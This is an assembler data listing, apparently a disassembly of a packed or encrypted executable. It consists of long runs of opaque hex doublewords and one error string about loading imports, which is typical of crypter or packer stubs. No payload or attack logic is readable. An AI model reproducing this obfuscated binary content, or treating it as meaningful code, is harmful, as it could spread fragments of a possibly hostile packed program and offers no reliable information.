		dd 47D5DD8Fh, 600634FFh, 13E8h,	4C57C300h, 0DC8AE976h
		dd 4FFD6DC3h, 0AA89FDBh, 0B9F11206h, 3298D89h, 525B05E8h
		dd 16098501h, 615E05E8h, 81F08A59h, 982FD4E9h, 0CB55BA33h
		dd 0C18123A1h, 24654772h, 0DDCF8166h, 0C2C18181h, 8B231B8Dh
		dd 0E82E8595h, 0EF815105h, 294FEFF7h, 3330048Fh, 0E8131D95h
		dd 0ED958905h, 8105E80Ch, 393A8AEEh, 6860F4Eh, 1000000h
		dd 0E83019BDh, 86C68105h, 0F4E393Ah, 68Ah, 0E9BD2900h
		dd 8105E813h, 0FF8F80FEh, 17850FFFh, 81000000h,	100F23D3h
		dd 34E942h, 0C49A0000h,	88C5858h, 0DFDAC3D3h, 0DE858F6h
		dd 0F1000000h, 70412F77h, 21A1FBF6h, 9A9762BDh,	0FF3AE95Bh
		dd 0AE94FFFFh, 59175EABh, 4F09FA41h, 702715B7h,	4EB35FCh
		dd 630FEAECh, 0CD5E9h, 0CD0A6800h, 4FE905EEh, 68FFF9B3h
		dd 5EECE0Bh, 0F9B345E9h, 0CED568FFh, 3BE905EEh,	68FFF9B3h
		dd 5EECF7Ch, 0F9B331E9h, 0D26068FFh, 27E905EEh,	68FFF9B3h
		dd 5EED595h, 0F9B31DE9h, 0D6A668FFh, 13E905EEh,	5AFFF9B3h
		dd 0DA4CEDD7h, 5ED0715Bh, 0E355F6E6h, 6ADC7D61h, 9E5DFEE6h
		dd 0C1252DFEh, 43B9AE20h, 0C93730A2h, 4CB0B628h, 0BE5947ABh
		dd 0A2B7030Ah, 0CC4D38FAh, 726044h, 6037950Bh, 35E98472h
		dd 0FF9CC838h, 0C837B064h, 6A32989Ch, 3334A604h, 0D4C2CCDh
		dd 25DF8E6h, 3896E004h,	0A860FBD2h, 0AFA2B04Ah,	32802A57h
		dd 0F60F6A06h, 34h, 2D9F9608h, 7D63E456h, 7CDA40A6h, 0F81F5E91h
		dd 0F8C6F0Ah, 8C7A96E0h, 0B0403DF1h, 61C72DA2h,	4037EF8Ah
		dd 0E63EA2B0h, 0FFC10F9Bh, 7850F69h, 9A000000h,	8098Ah
		dd 46CC9F00h, 13198B62h, 0EF2E0EAFh, 103FDAC8h,	0FE96E009h
		dd 80D3C198h, 0CAD1E143h, 3EB6B39h, 0ECA43F9Dh,	0F3A2B06Ch
		dd 76C4E69Bh, 0D50F6A28h, 7AF1E163h, 0E349AF86h, 0BF48A60Ch
		dd 38h,	0EC1F5ED4h, 43A98064h, 554EFDDh, 7596E00Ch, 9833210Fh
		dd 0A2B042E4h, 39106ED4h, 0B042E69Eh, 0EC95EDA2h, 6A0270BEh
		dd 0BD340Fh, 0F3460000h, 4790D100h, 311C7A8Dh, 8B6246CCh
		dd 0A7A11119h, 98FE643Bh, 0E5D94FC1h, 32969C0Eh, 339EF691h
		dd 2E249CC8h, 0D82B19BAh, 79AB6DE5h, 0C63896B9h, 0A5855C40h
		dd 0B6513F66h, 96E0AC1Bh, 0E6D475DBh, 0B08F6093h, 65C3F95Eh
		dd 311F4685h, 0C5D3C896h, 38268C9Ch, 0B95A42C6h, 91DBC347h
		dd 0F1D265F9h, 748A3E15h, 0D600000Ah, 56C86953h, 0DA4CEDDFh
		dd 5FD1725Ah, 0E658F9E5h, 1AD97A62h, 3DA1A942h,	0BF252A9Ch
		dd 45ABAC1Eh, 0C83C32A4h, 3AD5C327h, 0A2B70586h, 50C1AC6Eh
		dd 0F613A6FDh, 53EE5E07h, 9CC9299Fh, 5DBB2187h,	0DE7F67EBh
		dd 6102E66Ch, 36EA8573h, 1E9CC92Ah, 5E6F5AB8h, 6F0AF81Fh
		dd 96E00C20h, 7611E84Eh, 0A2B042BEh, 0E165D7C5h, 3A479FFDh
		dd 6A022270h, 150F810Fh, 0C7C24BA9h, 0D4000000h, 9AF8EC62h
		dd 67DE50AFh, 0C6389E75h, 8BFD5B41h, 0D84A2185h, 0FA956C50h
		dd 9CC833A2h, 1DBE2228h, 5341A5ABh, 0A37A66E1h,	1A08DF3Dh
		dd 3BDD912Ch, 67CD9CC8h, 0C3EA2909h, 0B9F3AD5h,	0F15796E0h
		dd 7AF06250h, 9482886h,	5E59F4E2h, 9C9CCAA6h, 5CD64836h
		dd 0D5339970h, 9FD75E7h, 0C4277A68h, 73824CE0h,	21E89C37h
		dd 6AD09CCBh, 3C34A604h, 22A656DBh, 0C72D3DD0h,	0D249DB7Dh
		dd 80340BF1h, 973h, 0C96A52D7h,	4DEEDE57h, 0D2735BDBh
		dd 59FAE660h, 0DA7B63E7h, 0A6AA431Bh, 242B9D3Eh, 0AAAD1FC0h
		dd 3D33A546h, 0D6C428C9h, 0B706873Bh, 0C2AD6FA2h, 0BF6044CCh
		dd 42E3C74Dh, 44340154h, 2D13705Ch, 46CCE4CFh, 13198B62h
		dd 0AE200EAFh, 0B7148B4h, 278A5DADh, 5EBFB5E8h,	0DFCD4883h
		dd 0C3167C71h, 3BF2FD66h, 0EFC6281h, 3B32EFBBh,	16748B3Bh
		dd 5D0A8D28h, 6AD096E0h, 4BF855F0h, 0E7267070h,	2837D2C0h
		dd 0C6430D61h, 0AD9B8960h, 8D915E12h, 82E04646h, 4E3C63A2h
		dd 0A315CBB3h, 2F239540h, 0A39159B7h, 0F0C73B31h, 5A3BEF8Ah
		dd 0B92B48F6h, 10764DB1h, 0E45644AAh, 67D97A6Eh, 0FB3FDE1h
		dd 4B9DFDBCh, 8A9C074h,	0A8A10000h, 24219334h, 0A1A517B8h
		dd 282A9C3Dh, 0B9B123C4h, 39E5A445h, 6708FC74h,	0E98A7EF5h
		dd 6F10FC77h, 0F29377FDh, 5105A08Eh, 39A2B706h,	46CC8C77h
		dd 7AECD056h, 0D1A80EF6h, 0AF671E3h, 0F6AA4533h, 0DE9CC837h
		dd 0D4B41278h, 0EAEE6295h, 431A8064h, 0EE8977DDh, 96E01EC7h
		dd 71E3D137h, 8F73F9F9h, 8EEC52B8h, 3F352EA0h, 0B050F0A4h
		dd 0EC66D8A2h, 11AC9A00h, 0A2B0515Dh, 0E081E74Dh, 3007F56Eh
		dd 0B050E195h, 213EF6A2h, 0D716A2B0h, 8827C2B0h, 869CC80Ch
		dd 51D74920h, 0B7B5236Dh, 0EEC5F1CFh, 8023Ah, 0DBC14800h
		dd 5F4DC83Ah, 0E4C84CBEh, 6B57D143h, 0ECD058CAh, 1BD08C4Bh
		dd 9C0EAF17h, 1E903197h, 0A416B725h, 35993AAEh,	6F8AC47h
		dd 1EE0A2B7h, 0F81F5E33h, 2D06F0Ah, 0D83E96E0h,	26968F01h
		dd 0AA121385h, 0F173E5D3h, 72D0360Dh, 412F4E92h, 6969E153h
		dd 0C32900ECh, 0C220865Dh, 0B04C2B27h, 23D225A2h, 0B5516DA0h
		dd 0A208D02Eh, 0F0DC59CBh, 3DA1A719h, 2B56AE66h, 0CB3D2BF7h
		dd 258B624Ah, 4126FC7h,	5FFA9B01h, 0A2B066A7h, 2C1A3B7Fh
		dd 33E263D9h, 0FE5CC223h, 0B5E57510h, 1C6FA2B0h, 7AD62886h
		dd 0CD95F3A5h, 0D154C667h, 0D97914EBh, 8FA2B055h, 0AE1E179Bh
		dd 340B71D7h, 0FA694EC2h, 0BE9AA99h, 35E7BE24h,	0B27EA4DDh
		dd 0CE8D71C4h, 644A3405h, 0CCAC3CAh, 0C5238963h, 302146Dh
		dd 8F86F899h, 0CEA51911h, 902B0268h, 0A2B050C8h, 0D75C54CEh
		dd 42B48BF1h, 6559CFC1h, 0EBC2288Eh, 0D44E338Bh, 45D1B008h
		dd 5B3BDCC0h, 6D08F617h, 0A2B050B6h, 0CC673EA4h, 2653ECFDh
		dd 45651C74h, 7B0B6FF7h, 164BBh, 967ACD00h, 0C43A2222h
		dd 5EFAE543h, 1C0AF81Fh, 0C837CD81h, 0E557BD9Ch, 32207E62h
		dd 0E00F8897h, 0DD786696h, 0A2B04029h, 5745AB11h, 8D7B6FE5h
		dd 55B31B1Bh, 0D8CC42B4h, 12FE78EAh, 7DEFDDB4h,	18B311F5h
		dd 1CE9753Eh, 7B9BE63Eh, 41F224F5h, 0C5E0B822h,	0D4883CD7h
		dd 0A701F76h, 9B9103A4h, 0F625027h, 55DA6AB9h, 6DF91C6Fh
		dd 0B2F6D634h, 8680F293h, 7999292Dh, 369C28E7h,	8367ED5Fh
		dd 8382F4E2h, 0EEDC4219h, 76CA9F53h, 0C321871Fh, 10E7DB51h
		dd 6BF52B75h, 6E136BA6h, 503EA2A8h, 5E13C762h, 9D038CECh
		dd 262C9E3Fh, 481D4C2h,	423A4CCFh, 4222F957h, 7FF1DFFEh
		dd 902B1985h, 8CED31DCh, 1A0866CCh, 0EFA33E2Ch,	2D8CED31h
		dd 93F9C125h, 31E69A35h, 68CE8CEDh, 50EBD9C7h, 8CED319Ch
		dd 56C8268Ch, 3313EAD2h, 564EC2EFh, 0B76702F0h,	978CED31h
		dd 281E9031h, 0E76BDDB4h, 0AB9F11FFh, 98F65C33h, 0E49DF5C1h
		dd 0A5403C32h, 8CED31F1h, 6C0D73D9h, 0B99074FAh, 0F3DF59CBh
		dd 4C71B595h, 3237C35Eh, 99FF8CEDh, 1C8086F8h, 6C50D345h
		dd 0A4DD3595h, 6708FC72h, 0B48B7FF5h, 7F6D90D4h, 0ED325CE4h
		dd 0A33E2C8Ch, 8CED31EFh, 6A0B71D7h, 0BA917FF8h, 897796DAh
		dd 0ED326AEEh, 13B41A8Ch, 6246CC28h, 7BA2E1C1h,	5BBF28Dh
		dd 45AB96E0h, 7262E557h, 1E571AFDh, 93146EA1h, 2F0562Dh
		dd 0B09FB367h, 0D73DA3A2h, 5D43C436h, 4067A686h, 8690B752h
		dd 187E9CC8h, 78EEA641h, 87C69CC8h, 38D77260h, 0D696E064h
		dd 21279970h, 0EF373BDh, 481FF7B8h, 51E94h, 0BF252C00h
		dd 43A9AC1Eh, 0C83430A2h, 4FB3B527h, 0D0343CAEh, 0FFAC702Fh
		dd 80F2930Bh, 274158Bh,	88FA9B01h, 197D1E82h, 9DC902Bh
		dd 0ACCA2B7h, 0F81F5E1Fh, 7106F0Ah, 10FE96E0h, 0B047C175h
		dd 55AF1EA2h, 0EF5292E1h, 3C6EC127h, 219E7485h,	33CEA50Bh
		dd 0A2B0557Ch, 52582981h, 0F6A1004h, 8975F163h,	0B0A22Bh
		dd 42B40000h, 5B954C0h,	0F5A2B04Dh, 0EC52298Fh,	0BBA3A38Eh
		dd 2D9CC837h, 0D93A30A2h, 788A17FAh, 8E2F95C0h,	5E4C6BAEh
		dd 0C8B437C3h, 0C299FF9Ch, 45E6DA50h, 0DFB2265h, 0E296311Fh
		dd 0AC9CC8B3h, 0C8B45D11h, 1FE74D9Ch, 34C05BB9h, 49CC8B4h
		dd 67D9C79Eh, 898BFDE1h, 8AE84E25h, 0D0C11218h,	964AE53Dh
		dd 7E9CC86Eh, 6F49C518h, 197F65EAh, 0EF3212B3h,	0A73FDAC8h
		dd 719CC912h, 379509FFh, 9732096Fh, 9CC9D2DFh, 0E76BDDCBh
		dd 0D328DC77h, 0AA109CC8h, 7BB5644h, 0EF9CC8D3h, 0AED32B89h
		dd 0A290B7FAh, 0C8D36F07h, 58F95F9Ch, 0C5A4h, 1F5EB900h
		dd 811C0AF8h, 9CC837CDh, 0BF957BDh, 0E002D170h,	4DB4196h
		dd 86279D92h, 574560A6h, 4C1ACE69h, 0A40AA2B0h,	0DBD5846h
		dd 0EDA2B04Ch, 11B8C79Ah, 3444280Ch, 0A9FE5125h, 976ED404h
		dd 68CF56A9h, 934C6E91h, 27DD9A35h, 0D830A2B1h,	2B301A9h
		dd 6B770399h, 8C000000h, 76F1185Eh, 37B36702h, 3DA39CC8h
		dd 118371D7h, 5E4CAA16h, 9408FE70h, 62E557BDh, 0E341A77Eh
		dd 0C8379448h, 471E849Ch, 0C96A5ED5h, 9886A3E9h, 0C83835FDh
		dd 28FF659Ch, 0C8F7D58Dh, 0B1151B9Ch, 0FFED68DAh, 0EB9F3A28h
		dd 0DB9CC877h, 3051A975h, 0B3CE26F2h, 9C8AAFF5h, 43421349h
		dd 0FE5C7823h, 2BAD7510h, 77DD9CC9h, 46CCEBD6h,	13198B62h
		dd 0AE200EAFh, 0A7047B5h, 668DCCACh, 9E0E0678h,	0E9C0242Ch
		dd 49372583h
		dd 2D7063F6h, 61B41857h, 9E713061h, 0AA503C3h, 96E082DBh
		dd 0E37E55BBh, 0A2B0AF2Bh, 0F3A7DA32h, 48B4C8A0h, 0A1FF7042h
		dd 6ADF75C3h, 29390Fh, 5E4E0000h, 6F0AF81Fh, 96E00C20h
		dd 7611E84Eh, 0A2B042BEh, 0CC84D7C5h, 18450C68h, 0B7CA2280h
		dd 6A5BA5F3h, 133690Fh,	0CC7E0000h, 9D8B6246h, 832ED54Ah
		dd 83E100E4h, 9C991911h, 0F3A74230h, 0E39CC8B3h, 0B729177Dh
		dd 792DC8BCh, 619CC8B4h, 603795FBh, 0AD8478EEh,	0AE49353Bh
		dd 9CC8B3FAh, 301E84EAh, 815844BEh, 5CE1142Eh, 53B9A4BCh
		dd 786654F5h, 0C88F29DDh, 0FDE1679Ch, 92F8C026h, 8A419934h
		dd 81879CC8h, 9ADC2F1Dh, 0FF452AA5h, 5AED6DC0h,	416444FDh
		dd 5AD042E3h, 19F0D45Ah, 96764DB3h, 54423057h, 29DD7866h
		dd 119CC910h, 105C10ABh, 0E64C9CC9h, 0F54EED88h, 34A696E0h
		dd 0A66ECC30h, 80BF9F40h, 7DE3C74Dh, 3091F48Fh,	7799CC6h
		dd 4C3AA00Ch, 0E782705Eh, 9CCAA333h, 6E22BD23h,	569CCAA3h
		dd 282092F0h, 0D054C6B4h, 7BED8EECh, 9A0203F7h,	68EB5DC3h
		dd 4AD41E84h, 8AF1D205h, 1E9FFB3h, 0E8610000h, 64E153F4h
		dd 0E165D778h, 68EA5CFDh, 0F971E384h, 0F9A56405h, 27C83C34h
		dd 0A94ABEB5h, 2FD03C37h, 0B253B7BDh, 11C5604Eh, 0F9A2B70Dh
		dd 44CC4C37h, 221F7260h, 29958FACh, 0B256BBD6h,	53C5B354h
		dd 0C013EAD2h, 0F7507D40h, 0E644AAD2h, 690AFE74h, 0EC1F5E7Eh
		dd 2D1B8167h, 0E00C4392h, 0F6CD3396h, 0B042A35Bh, 826EE9A2h
		dd 0D13D39ABh, 97EA42FAh, 0FF82DA8Bh, 6A025DABh, 0D9210Fh
		dd 0CC360000h, 2746246h, 633A980Ch, 77A52275h, 0D09B9733h
		dd 0DC9347E2h, 1D839CC8h, 0D5C54DBFh, 0F7EF6353h, 0EE54BA20h
		dd 0D8247C17h, 0BC2E9CC8h, 177D54B8h, 0DDC147B9h, 6044CA3Ch
		dd 436AA989h, 2C146755h, 0C0266C32h, 8B77F163h,	58F3922Dh
		dd 0BD2396E0h, 0CAFD3C1Ch, 0DFB614Bh, 6C081CBAh, 0A0FE7883h
		dd 765117B2h, 8CDF9CCBh, 0B474EE24h, 7176443Dh,	2AC0D326h
		dd 0EBD152C4h, 715FC58Dh, 0F2930BFFh, 0CA148880h, 0F1D2167Eh
		dd 0D8FFB38Ah, 72000000h, 0F26405FFh, 76E88973h, 0FB6D0EFEh
		dd 82F49579h, 0B675168Eh, 0D9CD45E6h, 5B41C638h, 0E1CF48BAh
		dd 6458CE40h, 0D6715FC3h, 0A2B70E22h, 0CC655012h, 0E8DC5444h
		dd 81F3E182h, 9E882A8Bh, 0A40FE9D8h, 0F86EE03Eh, 0CC786304h
		dd 198B6246h, 2E0EAF13h, 3FDAC8EFh, 96D94C42h, 5774EB4h
		dd 88FA9B0Fh, 0AC471E82h, 3DDAB07Ah, 6E45BBB0h,	0D1A97AFCh
		dd 0E8064162h, 4CFED53Bh, 8E898DF4h, 7FE54B22h,	4126FC7h
		dd 87F99A0Eh, 0A5191181h, 140268CEh, 0DD3BA1A2h, 3C2A1806h
		dd 0D79BEDA1h, 0DC77DDFFh, 0FFD79C28h, 0DA4CAA10h, 0FEE26858h
		dd 0D64FC127h, 0DDA980E6h, 141AFC85h, 979D0FB0h, 14A85C33h
		dd 0BD000000h, 7398C7Ah, 0E9DC8F81h, 9D2ADE79h,	0B41A9CC8h
		dd 0CC05F04Eh, 16885F45h, 63D5AC10h, 0B325FCE0h, 0FF7148BCh
		dd 4ABC930Bh, 9507DEC6h, 0E6582F93h, 35A77E6Eh,	73F5CC30h
		dd 609168h, 240C8900h, 81E68956h, 4C6h,	4EE8300h, 5C243487h
		dd 68240489h, 1B63h, 51241489h,	0A855E8B9h, 2176B837h
		dd 0C8293D97h, 81240C8Bh, 4C4h,	4A1F6800h, 24890000h, 24048124h
		dd 4, 523685Ah,	4890000h, 8428F24h, 5A2434FFh, 8B04C483h
		dd 89572404h, 4C781E7h,	81000000h, 4C7h, 243C8700h, 0A688E95Ch
		dd 0CD1EFFF9h, 0A3B8130Fh, 305EED7h, 85E0FFC5h,	2514F5h
		dd 1163C7A8h, 105B6628h, 4346DCDCh, 0D076D62Ah,	0DF6884F2h
		dd 6C0A4576h, 0B2328F1Ah, 3102EC4Fh, 777573Eh, 1B46962Bh
		dd 991B98F5h, 0A634B733h, 6175E7C2h, 7D68530Ah,	0E94D4CC1h
		dd 127h, 73765B50h, 154EEFACh, 0
aAnErrorHasOcur	db 'An Error has ocurred while loading imports',0
		db 37h
		dd 0EB77E7ACh, 4977E75Ch, 1F77E73Ch, 77F7E2h, 77F7E3h
		dd 777E600h, 5 dup(0)
		dd 0FD000000h, 77E7A5h,	2Bh dup(0)
		dd 2000000h, 48000000h,	0F4C706E1h, 0CF63921Dh,	0AB8F96A6h
		dd 1137FD68h, 35B11C13h, 41DA1E8Fh, 722B6166h, 0A9F29E35h
		dd 88321177h, 552F90EFh, 0BFBF108Eh, 14D8BC28h,	0D069C699h
		dd 4FDBA8E5h, 5632108Eh, 0A9614571h, 88321177h,	552F90EFh
		dd 0BFBF108Eh, 14D8B35Bh, 0D069C699h, 0F9B1D5EDh, 27DCCDDCh
		dd 1B61A66h, 5321566h, 0AAF2EAE3h, 0AFE2EA63h, 0FFF33AE3h
		dd 4EE2EA63h, 0AC1200E3h, 705A4363h, 0EEAEBDDEh, 603EBCD3h
		dd 74B79863h, 0DD37FE1Dh, 0B0B79CB6h, 537FD6Fh,	0AAEB9FE3h
		dd 0A7BF4563h, 14DCCD0Dh, 99A7EA36h, 8337FD56h,	0CA3584E3h
		dd 11321563h, 9DB7D366h, 137FD46h, 505B7C0Eh, 4887EAE8h
		dd 537FD43h, 0AC0AC2E3h, 0ABE2EA63h, 0F91FD0E3h, 9DB7D363h
		dd 737FD46h, 45594B0Eh,	4887EAFAh, 537FD43h, 0AC0AC2E3h
		dd 0ABE2EA63h, 0FFEAB7E3h, 9DB7D363h, 1037FD46h, 405A3C0Eh
		dd 4887EA88h, 537FD43h,	0AC0AC2E3h, 0ABE2EA63h,	0FFEAB3E3h
		dd 9DB7D363h, 137FD46h,	420AD70Eh, 4887EABCh, 537FD43h
		dd 0AC0AC2E3h, 0ABE2EA63h, 0FFEABFE3h, 318F9663h, 4437FD76h
		dd 22779069h, 94F41566h, 8DDA3573h, 3AB47D23h, 97CDEF46h
		dd 14DA303Fh, 0B0E590EBh, 94CD108Eh, 0FA9C90EFh, 94F41088h
		dd 8DDA3573h, 94F17D2Ah, 97CDF540h, 14DA303Fh, 0B0E590EBh
		dd 94CD108Eh, 0FA8090EFh, 51DB1088h, 4E321566h,	0AC1200E3h
		dd 2F5A4763h, 0EE8E5F82h, 600208D3h, 93B79863h,	0DD37FD5Eh
		dd 0BFB79CB6h, 4E37FBBEh, 0AC1200E3h, 6A5A4763h, 0EE94592Ch
		dd 600208D3h, 93B79863h, 0DD37FD5Eh, 0A3B79CB6h, 4E37FBBEh
		dd 0AC1200E3h, 0C85A4763h, 0EECF57D2h, 60174CD3h, 93B79863h
		dd 0DD37FD5Eh, 0BCB79CB6h, 4E37FD4Ah, 0AC1200E3h, 815A6263h
		dd 0EEC182CEh, 603DC8D3h, 93B79863h, 0DD37FD5Eh, 0F8B79CB6h
		dd 4E37FD49h, 0AC1200E3h, 355A4763h, 0EEB8C857h, 60174CD3h
		dd 93B79863h, 0DD37FD5Eh, 0CB79CB6h, 4E37FD72h,	0AC1200E3h
		dd 1B5A4363h, 0EEE60A0Bh, 603EBCD3h, 74B79863h,	0DD37FE1Dh
		dd 50B79CB6h, 4E37FD57h, 0AC1200E3h, 585A5263h,	0EEB3C976h
		dd 60174CD3h, 93B79863h, 0DD37FD5Eh, 74B79CB6h,	4E37FD6Eh
		dd 0AC1200E3h, 0C05A5263h, 0EEB81AD3h, 60174CD3h, 93B79863h
		dd 0DD37FD5Eh, 0C3B79CB6h, 0B37FBBEh, 0AC2B7CDBh, 0A63D1563h
		dd 11321337h, 0A82790A0h, 2C7E108Eh, 0FBE8098Fh, 346BA099h
		dd 0DBF108Eh, 41DA2DB1h, 0A7BBC599h, 14DCCDD8h,	0A82790A0h
		dd 2C7E108Eh, 0FF46CBA8h, 346BA099h, 0DBF108Eh,	41DA2DB1h
		dd 0A7BBC599h, 14DCCDA4h, 0A82790A0h, 2C7E108Eh, 95B39759h
		dd 346BA099h, 0DBF108Eh, 41DA2DB1h, 0A7BBC599h,	14DCCDA0h
		dd 0A82790A0h, 2C7E108Eh, 911D557Eh, 346BA099h,	0DBF108Eh
		dd 41DA2DB1h, 0A7BBC599h, 14DCCDA0h, 0A82790A0h, 2C74108Eh
		dd 98EC1372h, 346BA099h, 0DBF108Eh, 41DA2DB1h, 0A7BBC599h
		dd 14DCCDA8h, 0A82790A0h, 2C75108Eh, 0A3EE051Ch, 346BA099h
		dd 0DBF108Eh, 41DA2DB1h, 0A7BBC599h, 14DCCDB0h,	0A82790A0h
		dd 2C75108Eh, 0CDB59BCAh, 346BA099h, 0DBF108Eh,	41DA2DB1h
		dd 0A7BBC599h, 14DCCDBCh, 0A82790A0h, 2C75108Eh, 0F6A8B2B4h
		dd 346BA099h, 0DBF108Eh, 41DA2DB1h, 0A7BBC599h,	14DCCDB8h
		dd 0A82790A0h, 2C75108Eh, 98F32C62h, 346BA099h,	0DBF108Eh
		dd 41DA2DB1h, 0A7BBC599h, 14DCCD84h, 0A133A8E5h, 3132108Eh
		dd 37B7D346h, 5637FD46h, 0FA1F720Eh, 1D87EA86h,	0AF37FD43h
		dd 0F90AC2E3h, 1E2EA63h, 0AAEAF3E3h, 37B7D363h,	5637FD46h
		dd 0A181A40Eh, 1D87EAE8h, 0AF37FD43h, 0F90AC2E3h, 1E2EA63h
		dd 0AAEAFFE3h, 37B7D363h, 5237FD46h, 0FE78B20Eh, 1D87EAA6h
		dd 0AF37FD43h, 0F90AC2E3h, 1E2EA63h, 0AAEAFBE3h, 37B7D363h
		dd 5D37FD46h, 0EE5EFE0Eh, 9987EA9Dh, 0AF37FD69h, 0F90AC2E3h
		dd 1E2EA63h, 0AAEB97E3h, 37B7D363h, 5537FD46h, 0FBBC400Eh
		dd 1D87EADDh, 0AF37FD43h, 0F90AC2E3h, 1E2EA63h,	0AAEAE7E3h
		dd 37B7D363h, 5237FD46h, 65CE90Eh, 1D87EADAh, 0AF37FD43h
		dd 0F90AC2E3h, 1E2EA63h, 0AAEAE3E3h, 37B7D363h,	4237FD46h
		dd 980CBF0Eh, 1D87EAA0h, 0AF37FD43h, 0F90AC2E3h, 1E2EA63h
		dd 0AAEAEFE3h, 0BF8F9663h, 1137FD4Fh, 88D29169h, 0C1F41566h
		dd 27DA3573h, 0DF037D20h, 3DCDEFF0h, 41DA303Fh,	1AE590EBh
		dd 0C1CD108Eh, 516490EFh, 0C1F41088h, 27DA3573h, 2BE47D20h
		dd 3DCDE9C1h, 41DA303Fh, 1AE590EBh, 0C1CD108Eh,	515490EFh
		dd 0C1F41088h, 27DA3573h, 0B5327D20h, 3DCD879Ah, 41DA303Fh
		dd 1AE590EBh, 0C1CD108Eh, 515890EFh, 0C1F41088h, 27DA3573h
		dd 5E587D20h, 3DCDE3B2h, 41DA303Fh, 1AE590EBh, 0C1CD108Eh
		dd 515C90EFh, 0C1F41088h, 27DA3573h, 41D57D20h,	3DCD81ABh
		dd 41DA303Fh, 1AE590EBh, 0C1CD108Eh, 516890EFh,	0C1F41088h
		dd 27DA3573h, 65097D20h, 3DCDA444h, 41DA303Fh, 1AE590EBh
		dd 0C1CD108Eh, 516C90EFh, 0C1F41088h, 27DA3573h, 0FBDF7D20h
		dd 3DCDCA1Fh, 41DA303Fh, 1AE590EBh, 0C1CD108Eh,	515090EFh
		dd 0F9B11088h, 27DA3C67h, 0D7126066h, 601200E3h, 1A5A4663h
		dd 0DDFCAB86h, 0F9174CD3h, 5FB79863h, 0BB37FD5Eh, 0DCB79CB6h
		dd 0D737FBBEh, 601200E3h, 0C35A5263h, 0DDF5A438h, 0F9174CD3h
		dd 5FB79863h, 0BB37FD5Eh, 20B79CB6h, 9237FBBFh,	601B14DBh
		dd 64471563h, 22790A0h,	7975108Eh, 6E506B63h, 616BA099h
		dd 0A7BF108Eh, 14DA2DB1h, 0DBBC599h, 41DCCC60h,	22790A0h
		dd 7971108Eh, 1A481C90h, 616BA099h, 0A7BF108Eh,	14DA2DB1h
		dd 0DBBC599h, 41DCCC6Ch, 22790A0h, 7971108Eh, 74138246h
		dd 616BA099h, 0A7BF108Eh, 14DA2DB1h, 0DBBC599h,	41DCCC68h
		dd 0B33A8E5h, 6432108Eh, 9DB7D326h, 737FD46h, 229A160Eh
		dd 4887EAEDh, 537FD43h,	0AC0AC2E3h, 0ABE2EA63h,	0FFEB03E3h
		dd 9DB7D363h, 737FD46h,	7904C00Eh, 4887EA83h, 537FD43h
		dd 0AC0AC2E3h, 0ABE2EA63h, 0FFEB07E3h, 9DB7D363h, 737FD46h
		dd 8800F40Eh, 4887EA8Ch, 537FD43h, 0AC0AC2E3h, 0ABE2EA63h
		dd 0FFEB0FE3h, 9DB7D363h, 737FD46h, 0D39E220Eh,	4887EAE2h
		dd 537FD43h, 0AC0AC2E3h, 0ABE2EA63h, 0FFEB0BE3h, 9DB7D363h
		dd 0B37FD46h, 17A2C10Eh, 4887EAF1h, 537FD43h, 0AC0AC2E3h
		dd 0ABE2EA63h, 0FFEB37E3h, 9DB7D363h, 0B37FD46h, 4C3C170Eh
		dd 4887EA9Fh, 537FD43h,	0AC0AC2E3h, 0ABE2EA63h,	0FFEB33E3h
		dd 9DB7D363h, 937FD46h,	154B5C0Eh, 4887EAAEh, 537FD43h
		dd 0AC0AC2E3h, 0ABE2EA63h, 0FFEB3BE3h, 9DB7D363h, 937FD46h
		dd 0D57F9C0Eh, 4887EABAh, 537FD43h, 0AC0AC2E3h,	0ABE2EA63h
		dd 0FFEB3FE3h, 9DB7D363h, 1137FD46h, 391F220Eh,	4887EAFAh
		dd 537FD43h, 0AC0AC2E3h, 0ABE2EA63h, 0FFEB27E3h, 9DB7D363h
		dd 737FD46h, 0F7C23F0Eh, 4887EAB4h, 537FD43h, 0AC0AC2E3h
		dd 0ABE2EA63h, 0FFEB23E3h, 9DB7D363h, 1637FD46h, 6086FF0Eh
		dd 4887EA9Bh, 537FD43h,	0AC0AC2E3h, 0ABE2EA63h,	0F91EB8E3h
		dd 9DB7D363h, 337FD46h,	0BA6B8C0Eh, 4887EA84h, 537FD43h
		dd 0AC0AC2E3h, 0ABE2EA63h, 0FFEB2FE3h, 9DB7D363h, 337FD46h
		dd 0DF52D70Eh, 4887EAD7h, 537FD43h, 0AC0AC2E3h,	0ABE2EA63h
		dd 0FFEB2BE3h, 9DB7D363h, 337FD46h, 84CC010Eh, 4887EAB9h
		dd 537FD43h, 0AC0AC2E3h
		dd 0ABE2EA63h, 0FFEB57E3h, 9DB7D363h, 1B37FD46h, 72C07D0Eh
		dd 4887EAF8h, 537FD43h,	0AC0AC2E3h, 0ABE2EA63h,	0FFEB53E3h
		dd 9DB7D363h, 0B37FD46h, 0DE492A0Eh, 4887EAA1h,	537FD43h
		dd 0AC0AC2E3h, 0ABE2EA63h, 0FFEB67E3h, 9DB7D363h, 337FD46h
		dd 795C590Eh, 4887EA9Ch, 537FD43h, 0AC0AC2E3h, 0ABE2EA63h
		dd 0FFEB63E3h, 9DB7D363h, 337FD46h, 2416D80Eh, 4887EAA5h
		dd 537FD43h, 0AC0AC2E3h, 0ABE2EA63h, 0FFEB6FE3h, 9DB7D363h
		dd 1B37FD46h, 9952D90Eh, 4887EAB2h, 537FD43h, 0AC0AC2E3h
		dd 0ABE2EA63h, 0FFEB5FE3h, 9DB7D363h, 1B37FD46h, 0CB665B0Eh
		dd 4887EAF8h, 537FD43h,	0AC0AC2E3h, 0ABE2EA63h,	0FFEB5BE3h
		dd 9DB7D363h, 1B37FD46h, 311A5D0Eh, 4887EAB7h, 537FD43h
		dd 0AC0AC2E3h, 0ABE2EA63h, 0FFEB47E3h, 0E0367F63h, 44320566h
		dd 2222150Eh, 0EE327F66h, 603BB4F3h, 0FDB79C63h, 0AF37FD69h
		dd 0FF88B7E3h, 0E2E2EA63h, 54327D62h, 225A1566h, 7B321546h
		dd 29A7EA66h, 0CD37FD6Fh, 0CA3D90E3h, 0E4B79C63h, 0E237FD78h
		dd 54327D26h, 225A1566h, 7B321466h, 29A7EA66h, 0CD37FD6Fh
		dd 0CA2B5CE3h, 44879E63h, 337FD44h, 0AC28C8FBh,	67879C63h
		dd 9837FD42h, 6034B4FBh, 99AF9E63h, 0A937FD7Ch,	11CB966Dh
		dd 82ED9169h, 15621566h, 0ABF22606h, 0F93150E3h, 880EAB63h
		dd 30311566h, 8F543542h, 31165165h, 8B4A65EDh, 0CF123112h
